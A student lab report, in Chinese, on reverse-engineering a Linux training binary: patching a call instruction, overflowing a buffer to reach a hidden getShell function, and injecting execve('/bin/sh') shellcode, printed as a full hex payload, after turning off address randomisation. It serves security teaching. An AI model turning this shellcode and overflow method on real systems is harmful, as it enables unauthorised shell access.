20155318 Exp1 PC平台逆向破解(5)M
20155318 Exp1 PC平台逆向破解(5)M
实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode
实践内容
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
实践思路
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。
汇编知识
机器指令
| 指令 | 机器码 | 功能 |
|---|---|---|
| NOP | 90 | 空指令,继续执行NOP后面的一条指令 |
| JNE | 75 | 条件转移指令,不等则跳转 |
| JE | 74 | 条件转移指令,相等则跳转 |
| JMP | / | 无条件转移指令,short(机器码:EB)段内直接近转移Jmp;near(机器码:E9)段内间接转移Jmp;word(机器码:FF)段间直接(远)转移Jmp;far(机器码:EA) |
| CMP | 39 | 比较指令,相当于减法指令,对操作数之间运算比较,不保存结果 |
常用汇编指令
- 反汇编:objdump -d XX
- 进入十六进制编辑模式::%!xxd
- 查询:/
- 调试:gdb XXX
- 切回原模式:%!xxd -r
实践
一、修改机器指令改变程序执行流程
- objdump -d xxx对文件进行反汇编

- getShell和foo地址相差(91-7d)=0x21,因此欲
call 8048491 <foo>修改为call 804847d <getShell>,需要将d7修改为c3(d7-21) - 修改过程:
vi打开编辑文件(此时为二进制格式);:%! xxd将文件转换为十六进制编辑模式;/找到修改位置,i进入编辑模式,:%! xxd -r转回二进制模式,:wq保存退出 - 再次进行反汇编的结果如下:

- 和之前程序运行结果的对比:

二、利用Bof漏洞攻击
- 该可执行文件正常运行是调用函数foo,这个函数有Buffer overflow漏洞,攻击目标是触发函数getshell
- gdb调试,命令r运行,命令info r查看各寄存器的值,主要关注eip寄存器的值

- 分别输入11……4455555555和11……4412345678看eip寄存器的值,对比可知占用返回地址的压栈数据为4321


- 将这些数换成getshell的内存地址(\x7d\x84\x04\x08\x0a),通过
perl生成在ASCII界面所无法输入的16进制值,用(cat input; cat) | ./xxx来进入程序,运行结果如下: 
三、注入Shellcode并执行
- 准备工作:若堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。使用
execstack -s XXX设置堆栈可执行,通过execstack -q XXX查看堆栈是否可执行。使用more /proc/sys/kernel/randomize_va_space命令查看是否开启地址随机化(让OS每次都用不同的地址加载应用),有以下三种情况- 0表示关闭进程地址空间随机化。
- 1表示将mmap的基址,stack和vdso页面随机化。
- 2表示在1的基础上增加栈(heap)的随机化。
- 使用
echo "0" > /proc/sys/kernel/randomize_va_space命令关闭进程地址空间随机化,并再次使用more /proc/sys/kernel/randomize_va_space验证。 
- Linux下有两种基本构造攻击buf的方法
- retaddr+nop+shellcode
- nop+shellcode+retaddr
- 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面,缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边,使用nops+shellcode+retaddr,nop一为是了填充,二是作为“着陆区/滑行区”,若猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode
- 构造一个shellcode,输入攻击命令(cat input_shellcode;cat) | ./XXX,并找到pwn3_20155318的进程号

- 进行gdb调试,通过设置断点,来查看注入buf的内存地址

- 结构为:anything+retaddr+nops+shellcode。看到01020304就是返回地址的位置。地址是 0xffffd3a0

- 修改input_shellcode为\xa0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x80\xd3\xff\xff\x00,如图所示,再次攻击后成功!

实验总结
- 什么是漏洞?漏洞有什么危害?
- 漏洞就是正常功能的硬件、软件或者策略中的缺陷。黑客利用漏洞来破坏计算机安全,达到其他对正常使用者不利的目的。
- 实验收获与感想
- 本次实验回顾了Linux指令、汇编、反汇编的知识、利用gdb调试,学习了BOF的原理和防御,通过修改机器指令改变程序执行流程、构造payload进行bof攻击的方法,学习了网络对抗的基本知识。感觉这门课还挺有趣的(微笑)
20155318 Exp1 PC平台逆向破解(5)M的更多相关文章
- 20155324《网络对抗》Exp1 PC平台逆向破解(5)M
20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...
- 2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解
2018-2019-2 20165237<网络攻防技术>Exp1 PC平台逆向破解 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调 ...
- 20165221 《网络对抗技术》EXP1 PC平台逆向破解
20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...
- 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...
- 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解
- 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...
- Exp1 PC平台逆向破解 20165235 祁瑛
Exp1 PC平台逆向破解 20165235 祁瑛 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字 ...
- 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...
- 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...
- 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解
2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...
随机推荐
- Asp.net MVC检测到有潜在危险的 Request.Form 值
解决方法很简单,不像网上说的那么麻烦.只需一步: [ValidateInput(false)] public ActionResult Test(){ }
- Http 缓存机制
HTTP 缓存体系 首先我将 Http 缓存体系分为以下三个部分: HTTP/ OK Cache-Control: no-cache Content-Type: image/png Last-Modi ...
- MemSQL 架构初探
MemSQL 自称是最快的内存数据库.目前已发布了2.5版本. MemSQL 具有以下特点 1 高效的并行,尤其是分布式的MemSQL. 2 高效的并发,采用lock-free的内存数据结构skip ...
- ABP(ASP.NET Boilerplate Project)框架探讨
从官网上下载下来带Module-Zero的abp框架. vs2015打开解决方案. 首先让系统run起来.把webconfig数据库连接改一下.启动程序. 发现报错:“本地语言指定”的错误,之后运行n ...
- Python socket应用
Server端: #-*- coding: UTF-8 -*- import socket,time host='192.168.0.9' port=12307 s=socket.socket(soc ...
- Android开发中使用七牛云存储进行图片上传下载
Android开发中的图片存储本来就是比较耗时耗地的事情,而使用第三方的七牛云,便可以很好的解决这些后顾之忧,最近我也是在学习七牛的SDK,将使用过程在这记录下来,方便以后使用. 先说一下七牛云的存储 ...
- 【转】MySQL双主一致性架构优化
[原文]https://www.toutiao.com/i6594414914838725133/ 一.双主保证高可用 MySQL数据库集群常使用一主多从,主从同步,读写分离的方式来扩充数据库的读性能 ...
- mariadb启动报错:[ERROR] Can't start server : Bind on unix socket: Permission denied
今天mariadb总是启动不了,对于我来说是不能忍受的.然后前往日志文件查看报错信息,提示如下: 出错信息一共就这三行,没有报其他的错误.那只能从红色方框的地方开始入手了. 首先是百度去搜索原因是什么 ...
- php linux 环境搭建
Apache源于NCSAhttpd服务器,经过多次修改,成为世界上最流行的Web服务器软件之一.Apache取自“a patchy server”的读音,意思是充满补丁的服务器,因为它是自由软件,所以 ...
- 1.Solr介绍
转载请出自出处:http://www.cnblogs.com/hd3013779515/ Solr是一个基于Lucene的全文搜索引擎,同时对其进行了扩展,提供了比Lucene更为丰富的查询语言,实现 ...